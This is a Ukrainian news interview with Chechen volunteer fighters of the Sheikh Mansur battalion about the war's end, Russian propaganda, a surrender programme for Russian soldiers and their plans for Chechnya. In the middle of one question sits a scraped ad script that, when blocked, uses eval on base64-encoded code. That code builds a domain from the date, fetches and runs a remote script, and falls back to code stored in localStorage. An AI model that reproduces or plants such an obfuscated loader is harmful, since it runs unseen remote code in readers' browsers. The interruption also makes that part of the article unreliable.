У третій, заключній частині нашого спілкування з бійцями Міжнародного Добровольчого батальйону Шейха Мансура, вільної республіки Ічкерія ми поговорили про те, як бачать чеченські воїни завершення війни в Україні, про російську пропаганду, ставлення українців та повоєнні плани.
Гість: Є спільне
питання зараз у всіх Українців, які перебувають у напрузі та невизначеності вже
дуже довго – коли ж ця війна таки закінчиться? У вас є якісь прогнози щодо
цього?
БШМ:
Це дуже складне питання, ніхто не може спрогнозувати його результату навіть на
50%. Різні експерти зараз суб’єктивно висловлюють свою особисту думку, і
скільки експертів – стільки й думок. І до війни було багато подібних експертів,
що казали, що на Україну ніхто не нападе, що Росія не має ресурсів, і з різних
інших причин. Але напали. Тому робити суб’єктивні прогнози – це невдячна
справа. Скажу так — ми були в цьому впевнені, маючи військовий досвід із
Росією, що Росія таки нападе. Росія застосовує весь час ту саму тактику. Так,
за 3 дні вони нізащо Україну не взяли б. Україна на той момент уже мала 250
тисяч осіб підготовленої армії, тероборону, озброєння. Путіна просто
дезінформували щодо швидкості та можливостей. Такого затяжного конфлікту, як на
Донбасі, на мою думку, не буде. Але й так, як Путін теж хотів не буде. Можливо,
кілька років ми витратимо. Путін, після невдалого захоплення 24 лютого, перевів
війну в затяжну стадію. І що з цього вийде чи не вийде – нікому невідомо. Зараз
потрібно чекати на президентські вибори 2024-го року в Америці та в Росії. Якщо
сам Путін раніше не прийде до того, що потрібно домовлятися з Україною, то той,
хто стане президентом після Путіна, все одно дійде цього рішення. Або у них розпочнуться
міжусобні війни, бо претенденти боротимуться один з одним за владу дуже
жорстко. Що також зіграє нам на руку. Але тепер перемир’я навряд чи станеться,
тому що Путіну треба показати російській аудиторії, що він досяг чого хотів за
підсумком – щоб 4 області України перейшли до Росії. А цього він зараз ні
добитися не може, ні похвалитися цим… Йому потрібен час. Тим більше, що вже
міжнародні економічні санкції почали діяти і їхню країну з європейського ринку
«посунули» — зараз вони починають активно розвивати торговельні відносини з
Китаєм та Індією. На це теж потрібен час Путіну. Поки що свої економічні
можливості Росія зберігає. Тому війна триватиме не так довго, але й не так
швидко все закінчиться, як би нам цього хотілося.
Водночас ми також повинні розуміти, що ми маємо дуже потужний тил —
Європейський союз і Америку. Це найпотужніші наші союзники щодо ресурсів. Усі
цивілізовані країни на нашому боці: Канада, Австралія, Нова Зеландія та Японія
та інші. Якби вони нам не допомагали, ми не змогли б так довго витримати, це
правда. Так, вони допомагають поступово, але це однаково відчутна для нас
допомога. Росія має багато своїх агентів впливу серед європейських країн і
великих компаній, бізнесменів і політиків. Росія дуже довго над цим працювала
та продовжує працювати. Наприклад, та сама Франція не особливо хотіла
«принижувати» Росію і тримала паритет саме з цієї причини. І не лише Франція. У
багатьох впливових людей є моменти у бізнесі чи фінансах, через які вони
зацікавлені у пріоритетному статусі Росії. Звичайно ж, вони не можуть різко та
відкрито про це заявляти. З кожним ударом Росії територією України, особливо по
мирному населенню, весь світ і громадяни «лояльних» країн вимагають підтримати
Україну зброєю, гуманітарною допомогою, медичними проєктами. І їм доводиться на
це зважати. Тому допомоги у нас буде все більше і більше, а в Росії не буде
далі такої можливості — вести нескінченну війну.
Є ще один фактор – народ Росії зомбований, але, на нашу радість, не весь.
Близько 2 млн людей виїхали з країни, багато гарних фахівців роз’їхалися по
всьому світу та бачать ситуацію об’єктивно, виходять на демонстрації проти
війни в Україні. Хтось виїхав із Росії саме тому, щоб не мати з нею більше
нічого спільного після подій 24 лютого. Багато хто бачить, що відбувається,
багато хто підтримує Україну. Національність – це, звичайно, характеризує
населення, є якісь загальні риси, але не є визначальним фактором для окремої Людини.
Розсудливі люди в Росії є. Як і зомбовані Росією українці – так званий
«внутрішній ворог», багато хто з них вербувався десятиліттями. І це теж
потрібно чітко розуміти та враховувати у своїй боротьбі. Чим більше людей за
нас – тим більше впливу ми можемо чинити на події, особливо всередині Росії. Нам
потрібні свої агенти впливу на їх території. Усі ці моменти необхідно
враховувати Україні у своїй політиці, адже війна ведеться не лише на полі
битви, а й в інформаційному полі.
Багато українців здивуються з такої моєї позиції, адже я, моя сім’я та мій
народ потерпіли від Росії стільки горя… Але за будь-яких обставин насамперед
головне наше завдання – це залишатися Людиною. Незалежно від національності. І
якщо ми хочемо поваги до себе та до свого народу, нам потрібно виявляти цю
повагу до інших національностей. Адже погані люди є скрізь – і серед українців,
і серед чеченців, німців, американців тощо. Головне – бути справжньою Людиною ы
залишатися нею попри все.
До речі, у нас теж політика поведінки на війні, як на мене, трохи страждає.
Наприклад, в Україні є дуже хороша програма для російських військових, які
хочуть здатися в полон — «Хочу жити». Можна таку ж програму зробити і з
Європейським Союзом. Тільки не для російських зеків, яких зараз багато на лінії
фронту, а зробити це для звичайних громадян, яких веде під призов російська
влада. Ця програма прискорила б відтік військовослужбовців із Росії. Гуманність
– це сила цивілізованих країн, такий спосіб спрацював у нас у Грозному, коли
російські війська роззброївшись, здавалися добровільно. А ось такі жорстокі
звірині випадки, як, пам’ятаєте — вбивство полоненого зека кувалдою – це якраз
сильно вдарило по авторитету нашої країни на міжнародному рівні і просто
людському. Це по довірі до нашої країни вдарило сильно. І цим російська влада
відразу ж і скористалася – оголосила, що, якщо ви здаватиметеся Україні – ось
що з вами там буде. Так, ми отримали за нього 20 своїх бійців, але у
позитивному іміджі своєї країни ми сильно втратили. Далі – європейський
парламент отримує цю кувалду, як підтвердження нашої жорстокості, і виходить –
що ми допомогли Росії. Ми зіграли на її боці проти себе.
Бійці батальону Шейха Мансура в Україні
А от якби ми ще й спільно з російськими опозиціонерами в Європі та Америці
створили подібний проєкт — щодо прийому російських військовополонених, і,
наприклад, відправляли б їх у якусь «третю» країну або вибрали певну територію
в Україні для їхнього базування, чи дали б їм гарантії невидачі до падіння
Путінського режиму, то відсотків 40% російських військових би точно відмовилися
воювати і здалися б у полон під цей проєкт. І це дуже сильно вдарило б по
російським генералам і військовокомандувачам, послабило б їх армію і довіру
російського населення до них. Для нас це було б дуже вигідно – ми виграли б
війну довіри. І, звичайно ж, для Путінського уряду втрата 40% їхнього війська
була б небажаною, і вони б шукали причини, як це зупинити. Це призвело б Путіна
до переговорів на міжнародному рівні навіть без залучення додаткових військових
ресурсів та додаткових жертв як з їхнього боку, так і найголовніше – з нашого
боку.
У Росії є багато людей, які реально не хочуть воювати, але вони просто не
мають вибору. І тут, і на батьківщині на них чекає або смерть, або жорстоке
покарання. Людей насправді дуже легко залякати…
Ред: Наприклад, як
за «ковідних часів»?
Саме так. Люди – заручники політики «залізної руки» Путіна й знаходяться у
безвихідному становищі – ми б показали їм цей вихід. Ми б тільки виграли від
такої політики, з усіх боків. Гуманне людське ставлення – на відміну жорстокої кривавої
політики Росії. Створити військовополоненим нормальні умови, за яких над ними
ніхто не знущався б, і вони б чекали свого часу. Але поки що в країні, на жаль,
такого проєкту ще не зробили.
У політичній сфері України була і є російська агентура, є впливові люди,
які «годувалися» і вербувалися роками, ведеться робота з їхнього виявлення, але
ще не всіх ми розкрили, розкриватимемо далі, велика робота чекає і на цьому
фронті.
Гість: Хто підтримує
Міжнародний Добровольчий Батальйон Шейха Мансура?
БШМ:
Нам допомагають різні люди, здебільшого це волонтери, українські зокрема також,
приватні компанії, наша діаспора з Європи, наші хлопці. Вся наша допомога – на
добровільній основі від тих, хто за нас вболіває і підтримує нас. Забезпечення
від держави ми не маємо взагалі. Також, у нас немає жодного забезпечення у разі
поранення чи іншого випадку… Але нам цього й не потрібно, чого багато хто тут
іноді не розуміє. Ми не наймані солдати, ми тут не за гроші. До української
війни у нас було своє мирне життя в Європі, бо нам довелося покинути свою
Батьківщину, адже за окупаційного Російського уряду Кадирова ми не бажаємо
жити. Багато хто з нас тепер звільнився, щоб воювати за свою країну, багато хто
кинув бізнес, деяким навіть довелося зруйнувати свої сім’ї заради нашої
спільної мети, заради звільнення нашої країни. У нас є історичний ворог, який
убив та знищив наші родини та наших предків. Ми ідеологічно стоїмо на цьому
шляху і йтимемо ним і надалі.
Ред: Ось, гарної
теми ви торкнулися — а чи підтримують ваші ідеї ваші сім’ї та родичі? var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
БШМ:
Ми вимушено живемо та працюємо в інших країнах, працюємо та будуємо своє життя
та сім’ї за кордоном, але для нас набагато важливіше те, про що ми говорили
вище. Звісно, якщо будь-яка жінку запитати, чи хоче вона відправити свого
чоловіка, батька чи сина на війну, вона відповість, що ні. Але величезного
вибору у наших сімей немає, вони змушені з нами погодитися, і, як і будь-які
інші жінки, вони переживають і бояться, але наше рішення поважають. Ми ж тут не
просто так знаходимося, у нас є спільний ворог, і ми разом з вами боремося за
свою свободу.
Бійці батальону Шейха Мансура на захисті України
Ред: Наскільки
помінялося відношення українців до вас у минулому та зараз?
БШМ:
Звичайно, були складні моменти, на початку нам заважала інформаційна війна, яку
веде проти всіх чеченців Російський уряд вже 22 роки. Неправдиву інформацію про
нас поширювали у Тік-Току й бійці Кадирова, що всі чеченці – це жорстокі
вбивці. Пропаганда ця ведеться і зараз, але коли люди в Україні побачили наші
дії, за що ми боремося і на чиєму боці ми стоїмо, то з’явилася зворотна
реакція. Люди у всьому світі побачили хто є хто насправді. Особливо українці
почали розуміти нас, з якими варварами ми зіткнулися у своїй країні, після
подій у Бучі… Такою вона є ціна «руського миру». У Чечні вони також убивали
наші сім’ї, наших старих та дітей, ґвалтували наших жінок, і це все відбувалося
22 роки, і нікому в світі цього не показували… І зараз триває вбивство чеченців
у країнах Європи, силами агентів ФСБ… Ось чому ми стоїмо на нашому шляху і не
збираємося з нього звертати й надалі.
Росія має дуже сильну пропагандистську машину, завдяки своїй пропаганді
вони вбили чужими руками багато невинних людей у багатьох країнах. Це ціла
наука та політико-психологічна технологія. Перевертали факти з ніг на голову,
підміняли поняття, маніпулювали свідомістю та просто відверто брехали.
Психологічний вплив на маси дуже великий, якщо знаєш, як це робити. «Промивання
мозку» Росія використовує вже кілька десятиліть. Інформаційна війна Росії є
дуже успішною. Адже донедавна Українці були «рідними братами» Росії, а зараз
раптом різко стали «нацистами», «бандерівцями», котрі їдять людей та дітей… Це
все результати брудних російських політтехнологій.
Гість: Так, ці
технології діяли по всьому пострадянському простору. Візьмемо, наприклад,
Афганпістан, скільки там знищено людей… І це зробили ми… не Росія, тоді це були
і ми також…
БШМ:
Так, понад 2 млн мирних афганців знищено та вбито… І різними народами союзних
республік. Росія вбивала чужими руками використовуючи лише свою пропаганду…
Гість: Скажіть, а
коли в Україні вже запанує мир, чи залишитеся ви тут чи продовжите свою місію
далі? Які плани?
БШМ:
Звичайно, ми маємо величезне бажання повернутися до своєї країни і звільнити
Чечню. Це наше кінцеве бажання та наша мета. Наша Місія. Сьогодні в нас у
батальйоні служать і українці, і грузини, й багато інших національностей, хто
постраждав від Російської агресії. І до Чечні звідси лише близько 700
кілометрів… Для нас це не відстань, звичайно ж ми туди йтимемо. Єдина
складність — це те, що до теперішнього часу в Чечні розташовується російська
армія, елітні посилені військові підрозділи, військові бази, які там будували
20 років. Щільність розташування військових формувань біля Чечні надвисока для
такої маленької держави. Уявляєте, наскільки напружена ситуація і наскільки
Путін боїться. У Чечні набагато гірша зараз ситуація, ніж в Україні… Але в
нашого військового командування є успішна тактика та стратегія, напрацьована
роками. Тому ми не відступатимемо і далі від нашої головної Місії – звільнити
нашу країну. Саме цього ми й хочемо досягти.
***
Чотири години
розмов пролетіли непомітно, і ми б лишилися ще й довше, бо пізнавати справжню
історію дуже важливо, щоб краще розуміти свою. Пізнавати правду буває
приголомшливо, але конче необхідно. Пізнавати людей, які страждали так багато і
лишилися Людьми з великої літери – то справжнє навчання. Мужність, стійкість на
своєму шляху, скромність, розум та людяність, доброта – все це лишилося в
серцях справжніх чеченців, не дивлячись на все те горе та втрати, які переніс
весь чеченський народ і сім’ї присутніх бійців особисто. Пишаємося чоловіками!
А потім ці хлопці розгрузили бус гуманітарної допомоги на користь громади, що їх вислухала. Громада допомагає хлопцям, хлопці підтримують громаду. Завжди лишатися людиною, вірною своїй країні та своїм людським переконанням. Хлопці, дякуємо вам за захист! Нехай вас Ангел береже! Разом переможемо!
Підготувала Світлана Сіровець спеціально для Акцента (adsbygoogle = window.adsbygoogle || []).push({});
Підписуйтесь на Акцент в 
Источник: https://akzent.zp.ua/shho-bachit-chechenske-oko-prognozi-na-zakinchennya-vijni-vid-bijtsiv-batalonu-shejha-mansura/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
